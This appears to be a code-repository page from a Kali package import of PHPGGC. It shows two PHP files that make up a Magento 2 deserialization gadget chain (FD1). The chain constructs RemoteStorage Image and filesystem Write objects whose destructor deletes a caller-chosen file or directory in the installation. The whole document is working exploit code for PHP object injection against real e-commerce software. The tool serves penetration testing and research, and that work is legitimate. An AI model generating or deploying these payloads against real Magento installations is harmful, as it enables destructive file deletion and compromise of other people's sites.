Import upstream version 0.20220213
Kali Janitor
2 years ago
|
0 |
<?php
|
|
1 |
|
|
2 |
namespace GadgetChain\Magento2;
|
|
3 |
|
|
4 |
class FD1 extends \PHPGGC\GadgetChain\FileDelete
|
|
5 |
{
|
|
6 |
public static $version = '*';
|
|
7 |
public static $vector = '__destruct';
|
|
8 |
public static $author = 'Arjun Shibu (twitter.com/0xsegf)';
|
|
9 |
public static $information = 'Deletes a given file/directory in the installation dir';
|
|
10 |
public static $parameters = ['file'];
|
|
11 |
|
|
12 |
public function generate(array $parameters)
|
|
13 |
{
|
|
14 |
$file = $parameters['file'];
|
|
15 |
|
|
16 |
return new \Magento\RemoteStorage\Plugin\Image($file);
|
|
17 |
}
|
|
18 |
}
|
|
0 |
<?php
|
|
1 |
|
|
2 |
namespace Magento\Framework\Filesystem\Driver {
|
|
3 |
class File {}
|
|
4 |
}
|
|
5 |
|
|
6 |
namespace Magento\Framework\Filesystem\Directory {
|
|
7 |
class Write {
|
|
8 |
public function __construct() {
|
|
9 |
$this->driver = new \Magento\Framework\Filesystem\Driver\File();
|
|
10 |
}
|
|
11 |
}
|
|
12 |
}
|
|
13 |
|
|
14 |
namespace Magento\RemoteStorage\Plugin {
|
|
15 |
class Image {
|
|
16 |
public function __construct($file) {
|
|
17 |
$this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write();
|
|
18 |
$this->tmpFiles = [$file];
|
|
19 |
}
|
|
20 |
}
|
|
21 |
}
|